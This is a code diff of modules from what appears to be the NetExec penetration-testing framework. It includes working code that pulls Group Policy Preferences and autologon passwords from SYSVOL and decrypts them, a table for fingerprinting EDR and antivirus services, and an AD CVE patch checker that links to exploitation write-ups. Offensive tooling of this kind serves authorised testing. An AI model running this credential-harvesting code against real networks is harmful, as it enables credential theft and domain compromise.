dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -127,14 +210,6 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Arctic Wolf",
"services": [
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
@@ -212,13 +287,6 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
@@ -432,13 +500,6 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
+1 -16
View File
@@ -7,8 +7,6 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -70,18 +68,8 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -93,9 +81,6 @@ class NXCModule:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
+38 -114
View File
@@ -1,8 +1,7 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
@@ -16,6 +15,12 @@ class NXCModule:
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
context = context
self.module_options = module_options
self.cve = "all"
self.exploitation_details = False
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
@@ -27,33 +32,41 @@ class NXCModule:
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
- CVE-2026-102217 (PetitPotam WebDAV coercion)
- KB5126646 (LDAP Signing Bypass, no CVE assigned)
CVE Filter for a specific CVE/KB identifier from the list above (default: All)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.cve = module_options.get("CVE", "all").lower()
if self.cve != "all" and self.cve not in [cve.lower() for cve in self.CVE_PATCHES]:
context.log.fail(f"Unknown CVE '{module_options['CVE']}', supported identifiers: {', '.join(self.CVE_PATCHES)}")
return False
self.exploitation_details = module_options.get("EXPLOITATION", "false").lower() in ["true", "1", "yes"]
self.listener = None
if "CVE" in module_options:
self.cve = module_options["CVE"].lower()
if "EXPLOITATION" in module_options:
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
def is_vulnerable(self, os_key, ubr, msrc):
min_patched_ubr = msrc.get(os_key)
def is_vulnerable(self, major, minor, build, ubr, msrc):
key = (major, minor, build)
min_patched_ubr = msrc.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
connection.trigger_winreg()
# Connect to RemoteRegistry to read UBR from registry
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Query the UBR
try:
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
@@ -78,22 +91,12 @@ class NXCModule:
return
# Check each CVE
os_version = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}"
os_key = (connection.server_os_major, connection.server_os_minor, connection.server_os_build)
if not any(os_key in entry["patches"] for entry in self.CVE_PATCHES.values()):
context.log.info(f"Build {os_version} is not listed in any check, cannot determine vulnerability status")
return
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
vulnerable = self.is_vulnerable(os_key, ubr, self.CVE_PATCHES[cve]["patches"])
if vulnerable is None:
context.log.info(f"Cannot check {self.CVE_PATCHES[cve]['alias']}: no patched UBR known for build {os_version}")
continue
if vulnerable:
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
@@ -101,7 +104,7 @@ class NXCModule:
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'][os_key]})")
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
@@ -109,6 +112,10 @@ class NXCModule:
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(6, 0, 6003): 23351, # Windows Server 2008 SP2
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25522, # Windows Server 2012
(6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
@@ -176,88 +183,5 @@ class NXCModule:
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
"CVE-2026-102217": {
"alias": "PetitPotam WebDAV coercion",
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 19044): 7807, # Windows 10 21H2
(10, 0, 19045): 7807, # Windows 10 22H2
(10, 0, 20348): 5761, # Windows Server 2022
(10, 0, 22631): 7652, # Windows 11 23H2
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
(10, 0, 26200): 9711, # Windows 11 25H2
(10, 0, 26300): 9711, # Windows 11 26H2
(10, 0, 28000): 3231, # Windows 11 26H1
},
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
},
# https://support.microsoft.com/en-us/servicing/os/azure-marketplace/windows-server/2026/windows-server-images-for-october-2026
"KB5126646": {
"alias": "LDAP Signing Bypass",
"dc_only": True,
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 20348): 5756, # Windows Server 2022
(10, 0, 25398): 2331, # Windows Server 2022 23H2 (EOL)
(10, 0, 26100): 33648, # Windows Server 2025
},
"message": "SMB-to-LDAP NTLM relay is possible even when LDAP signature is required",
"exploitation": "https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/",
},
}
}
+1 -2
View File
@@ -1,7 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -64,6 +63,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+1 -1
View File
@@ -32,7 +32,7 @@ class NXCModule:
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] is not None]
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
+39 -13
View File
@@ -1,10 +1,9 @@
import re
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -111,7 +110,18 @@ class NXCModule:
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(connection, target)
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
@@ -132,21 +142,37 @@ class MSEven6Trigger:
self.context = context
self.dce = None
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
-1
View File
@@ -22,7 +22,6 @@ class NXCModule:
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+13 -3
View File
@@ -7,13 +7,23 @@ from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from os.path import expanduser, join
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
@@ -142,7 +152,7 @@ class NXCModule:
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
+1 -2
View File
@@ -1,7 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import json
@@ -31,6 +30,6 @@ class NXCModule:
data.append(cards)
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+31 -26
View File
@@ -15,40 +15,45 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available."""
""" """
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for Registry.xml")
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
for path in paths:
context.log.display(f"Found {path}")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
xml_section = xml.findall(".//Properties")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
for section in xml_section:
attrs = section.attrib
xml_section = xml.findall(".//Properties")
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+62 -57
View File
@@ -21,77 +21,82 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+95 -70
View File
@@ -1,9 +1,8 @@
import ssl
import ldap3
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -99,25 +98,24 @@ class NXCModule:
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
self.context.log.fail(f"Failed to list shares: {e}")
context.log.fail(f"Failed to list shares: {e}")
return
self.context.log.display("Searching for GptTmpl.inf files")
context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
self.context.log.info(f"Found GptTmpl.inf: {path}")
context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -125,32 +123,22 @@ class NXCModule:
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
ldap_connection = self.initialize_ldap_connection(context, connection)
self.context.log.success(f"Privileges extracted from {path}:")
context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
ldap_connection.unbind()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
@@ -171,64 +159,101 @@ class NXCModule:
return privileges
def initialize_ldap_connection(self, connection):
def initialize_ldap_connection(self, context, connection):
"""
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
ldap_connection = None
try:
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
def resolve_sid(self, sid, ldap_connection, base_dn):
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection:
if ldap_connection and ldap_connection.bound:
try:
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
attributes=["sAMAccountName"],
)
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
